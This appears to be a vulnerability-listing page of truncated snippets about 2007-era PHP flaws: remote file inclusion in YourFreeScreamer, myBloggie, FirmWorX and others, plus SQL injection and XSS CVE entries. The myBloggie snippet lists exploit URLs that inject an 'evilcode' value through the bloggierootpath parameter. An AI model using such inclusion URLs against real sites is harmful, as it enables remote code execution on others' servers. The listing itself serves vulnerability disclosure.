YourFreeScreamer 1.0 (serverPath) Remote File Inclusion Vulnerability

No description provided by source. /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// Title : YourFreeScreamer 1.0 Remote File 脛掳nclude Author : CrackersChild Contact : [email protected] Bug : in...

yfs-rfi.txt

/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// Title : YourFreeScreamer 1.0 Remote File İnclude Author : CrackersChild Contact : [email protected] Bug : in bodyTemplate.php " " Down :...

CVE-2007-3270: Undefined Security Weakness

PHP remote file inclusion vulnerability in Includes/global.inc.php in phpMyInventory 2.8 allows remote attackers to execute arbitrary PHP code via a URL in the strIncludePrefix parameter...

YourFreeScreamer 1.0 (serverPath) Remote File Inclusion Vulnerability

Exploit for unknown platform in category web applications ===================================================================== YourFreeScreamer 1.0 serverPath Remote File Inclusion Vulnerability =====================================================================...

YourFreeScreamer 1.0 - 'serverPath' Remote File Inclusion

/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// Title : YourFreeScreamer 1.0 Remote File Ä°nclude Author : CrackersChild Contact : [email protected] Bug : in bodyTemplate.php " " Down :...

YourFreeScreamer 1.0 - serverPath Remote File Inclusion

YourFreeScreamer 1.0 - serverPath Remote File Inclusion /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// Title : YourFreeScreamer 1.0 Remote File Ä°nclude Author : CrackersChild Contact : [email protected]...

Remote file inclusion

Multiple PHP remote file inclusion vulnerabilities in myBloggie 2.1.5 allow remote attackers to execute arbitrary PHP code via a URL in the bloggierootpath parameter to 1 config.php; 2 db.php, 3 template.php, 4 functions.php, and 5 classes.php in includes/; 6 viewmode.php; and 7 blogbody.php. NOT...

mybloggie-rfi.txt

myBloggie 2.1.5 RFI Author: Yaser Homepage: http://www.ayyildiz.org Download S : http://mywebland.com/download.php?id=19 Exploits: http://site/config.php?bloggierootpath=evilcode? http://site/includes/db.php?bloggierootpath=evilcode? http://site/includes/template.php?bloggierootpath=evilcode?...

CVE-2007-2991: Undefined Security Weakness

Cross-site scripting XSS vulnerability in includes/send.inc.php in Evenzia CMS allows remote attackers to inject arbitrary web script or HTML via the PATHINFO...

Sql injection

SQL injection vulnerability in includes/rating.php in 2z Project 0.9.5 allows remote attackers to execute arbitrary SQL commands via the postid parameter. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information...

CVE-2007-2905

CVE-2007-2905 is a reported SQL injection vulnerability in the 2z Project 0.9.5, affecting the includes/rating.php component. The vulnerability allows remote attackers to execute arbitrary SQL commands via the post_id parameter. Multiple connected sources corroborate this flaw. The documents do n...

CVE-2007-2891

Multiple PHP remote file inclusion vulnerabilities in FirmWorX 0.1.2 allow remote attackers to execute arbitrary PHP code via a URL in the 1 bankdataroot parameter to modules/bank/includes/design/main.inc.php, or the 2 fmdataroot parameter to a includes/config/master.inc.php or b...

Remote file inclusion

Multiple PHP remote file inclusion vulnerabilities in FirmWorX 0.1.2 allow remote attackers to execute arbitrary PHP code via a URL in the 1 bankdataroot parameter to modules/bank/includes/design/main.inc.php, or the 2 fmdataroot parameter to a includes/config/master.inc.php or b...

CVE-2007-2898: Improper Neutralization of Special Elements used in an SQL Command

SQL injection vulnerability in includes/rating.php in 2z Project 0.9.5 allows remote attackers to execute arbitrary SQL commands via the rating parameter to index.php...

CVE-2007-2905: Undefined Security Weakness

SQL injection vulnerability in includes/rating.php in 2z Project 0.9.5 allows remote attackers to execute arbitrary SQL commands via the postid parameter. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information...

Remote file inclusion

PHP remote file inclusion vulnerability in includes/common.php in Yaap 1.5 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the rootpath parameter, possibly related to the autoload function...

CVE-2007-2677: Undefined Security Weakness

Multiple PHP remote file inclusion vulnerabilities in phpChess Community Edition 2.0 allow remote attackers to execute arbitrary PHP code via a URL in 1 the config parameter to includes/language.php, or the RootPath parameter to 2 layoutadmincfg.php, 3 layoutcfg.php, or 4 layoutttop.php in...

CVE-2007-2673: Improper Neutralization of Special Elements used in an SQL Command

SQL injection vulnerability in includes/funcsvendors.php in Censura 1.15.04, and other versions before 1.16.04, allows remote attackers to execute arbitrary SQL commands via the vendorid parameter in a vendorinfo cmd action to censura.php...

CVE-2006-7202: Undefined Security Weakness

The dofreePDF function in includes/pdf.php in Mambo 4.6.1 does not properly check access rights for database content, which allows remote attackers to read certain content via unspecified vectors...

CVE-2007-2541: Undefined Security Weakness

PHP remote file inclusion vulnerability in includes/ajaxlistado.php in Versado CMS 1.07 allows remote attackers to execute arbitrary PHP code via a URL in the urlModulo parameter...